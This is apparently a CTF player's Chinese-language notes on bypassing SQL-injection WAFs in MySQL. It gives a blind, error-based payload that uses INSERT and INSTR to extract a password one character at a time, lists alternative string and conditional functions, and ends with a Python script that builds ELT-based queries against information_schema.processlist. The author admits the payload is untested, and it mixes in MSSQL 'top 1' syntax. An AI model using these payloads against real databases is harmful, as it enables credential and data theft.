经过昨天寻找information_schema的替代表之后我又去翻了一遍Mysql的内置函数,也还是有不少新发现的,另外再简单写了一下之前早就有的一个想法,使用字符串的匹配函数
+替换函数
绕过常用的Mysql注入函数WAF去匹配字符串,现在看来理论上是可行的,但是没动手写代码测试,因为,,,,太懒了不想动手 🙂 :dog:
使用函数
INSERT(s1,x,len,s2) 字符串 s2 替换 s1 的 x 位置开始长度为 len 的字符串
INSTR(str,str1) 返回子字符串str1在字符串str中的开始位置(从第几个字符开始)
匹配方法
执行以下迭代过程:
char
,
使用INSTR
逐个测试char
经过第3步替换后的字符串中char
第一次出现的位置,
直到获得的位置为n,此时flag[n]=char
,
然后执行end+=char
进入第3步
insert
将前n个字符替换为n个@
,n=n+1,回到第2步匹配下一个字符
select * from users where username ='admin' and password=''||(~0+(INSTR((insert((select top 1 password from users),1,n-1,(n-1)*"@")),char)=n))
语句分析
(select top 1 password from users)
获取password字段
(insert((select top 1 password from users),1,n-1,(n-1)*"@"))
将password的前n-1个字符替换为n-1个@
INSTR((insert((select top 1 password from users),1,n-1,(n-1)*"@")),char)
获取第一次出现`char`字符的位置
(INSTR((insert((select top 1 password from users),1,n-1,(n-1)*"@")),char)=n)
判断第一次出现`char`字符的位置是否为n
如果第一次出现字符`c`的位置确实是n那么最终为True,~0+1就会导致报错,否则语句不报错,根据回显差异得到第n个字符为`char`
模拟过程
待匹配字符串:flag
=flag{h0cksr_test}
n=1
end =
flag=flag{h0cksr_test}
flag=INSTR((insert((select top 1 password from users),1,n-1,(n-1)*"@")),char)
n=2
end =f
flag=@lag{h0cksr_test}
n=3
end =fl
flag=@@ag{h0cksr_test}
n=4
end =fla
flag=@@@g{h0cksr_test}
n=5
end =flag
flag=@@@@{h0cksr_test}
n=6
end=flag{
flag=@@@@@h0cksr_test}
.....
n=16
end =flag{h0cksr_tes
flag=@@@@@@@@@@@@@@@t}
n=17
end =flag{h0cksr_test
flag=@@@@@@@@@@@@@@@@}
n=18
end =flag{h0cksr_test}
flag=@@@@@@@@@@@@@@@@@
如果确实可行的话我们可以将我们使用的INSTR
替换为其它的匹配函数,另外还可以将insert
替换为REPLACE
函数,这样子就有很多种搭配了(如果可以的话)。
STRCMP(s1,s2) 比较字符串 s1 和 s2,如果 s1 与 s2 相等返回 0 ,如果 s1>s2 返回 1,如果 s1<s2 返回 -1
NULLIF(expr1, expr2)比较两个字符串,如果字符串 expr1 与 expr2 相等 返回 NULL,否则返回 expr1
REPLACE(s,s1,s2) 返回一个字符串,用字符串s2替代字符串s中所有的字符串s1
INSERT(s1,x,len,s2) 字符串 s2 替换 s1 的 x 位置开始长度为 len 的字符串
FIELD(s,s1,s2…) 返回第一个字符串 s 在字符串列表(s1,s2…)中的位置
FIND_IN_SET(s1,s2) 返回在字符串s2中与s1匹配的字符串的位置,s2以,分隔字符串
INSTR(str,str1) 返回子字符串str1在字符串str中的开始位置(从第几个字符开始)
LOCATE(s1,s) 从字符串 s 中获取 s1 的开始位置
POSITION(s1 IN s) 从字符串 s 中获取 s1 的开始位置
MAKE_SET(x,s1,s2,…) 按x的二进制数从s1,s2…,sn中选取字符串
SUBSTR(s, start, length) 从字符串 s 的 start 位置截取长度为 length 的子字符串
SUBSTRING(s, start, length)从字符串 s 的 start 位置截取长度为 length 的子字符串,等同于 SUBSTR(s, start, length)
SUBSTRING_INDEX(s, delimiter, number) 返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。 如果 number 是正数,返回第 number 个字符左边的字符串。 如果 number 是负数,返回第(number 的绝对值(从右边数))个字符右边的字符串。
MID(s,n,len) 从字符串 s 的 n 位置截取长度为 len 的子字符串,同 SUBSTRING(s,n,len)
RIGHT(s,n)返回字符串 s 的后 n 个字符
LEFT(s,n) 返回字符串 s 的前 n 个字符
EXP(x) 返回e的x乘方后的值
POW(x,y) 返回 x 的 y 次方
POWER(x,y) 返回 x 的 y 次方
20个tan(RADIANS(90))相乘也会超出范围
between,in,having,where可用于判断条件
select * from mysql.user where (1+(select 1))BETWEEN 1 AND 1;#False
select * from mysql.user where (1+(select 1))BETWEEN 1 AND 2;#True
select 1 in (1);#True
select 2 in (1);#False
select * from mysql.user having 1;
select * from mysql.user having 0;
条件差异的表示我们可以通过if,ifnull,case语句设置
IF(expr,v1,v2)
IFNULL(v1,v2) 如果v1不为空,则显示v1的值;否则显示v2的值
CASE WHEN expr1 THEN v1 [WHEN expr2 THEN v2 …][ELSE vn] END
CASE expr WHEN e1 THEN v1 [WHEN e2 THEN v2 …][ELSE vn] END
条件差异表现方法:
可以使用范围超限报错也可以使用延时
ELT(N,str1,str2,str3,str4,…)返回第N个字符串
DATABASE()、SCHEMA() 获取当前数据库名
UNIX_TIMESTAMP() 返回一个格林尼治标准时间1970-01-01 00:00:00到现在的秒数
ENCODE(str,pass_str) 使用字符串pass_str来加密字符串str。加密后的结果是一个二进制数,必须使用BLOB类型的字段来保存它
DECODE(crypt_str,pass_str) 使用字符串pass_str来为crypt_str解密
CONV(N,from_base,to_base) 不同进制数之间的转换,返回值为数值N的字符串表示,由from_base进制转换为to_base进制
UNHEX(str)将16进制数转为字符串(hex函数的逆效果)
select coalesce(a,b,c) 如果anull,则选择b;如果bnull,则选择c;如果a!=null,则选择a;如果a b c 都为null ,则返回为null(没意义)
优先级
最低优先级为: :=。最高优先级为: !、BINARY、 COLLATE。
最后,在这里放一个让我一开始激动万分但是后面发现其实没啥乱用的东西:joy::
iimport string
def get_command(num):
command = "select ELT("
Ascii = "ascii(mid((select Info from information_schema.processlist limit 0,1)," + str(num) + ",1))"
command += Ascii
for i in range(1, 128):
command += ",\""
if chr(i) in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ ":
if chr(i) in ["\"", "'", "`", "#", "\\"]:
command += "\\"
command += chr(i)
command += '"'
command += ");"
# print(command)
return command
print(get_command(4))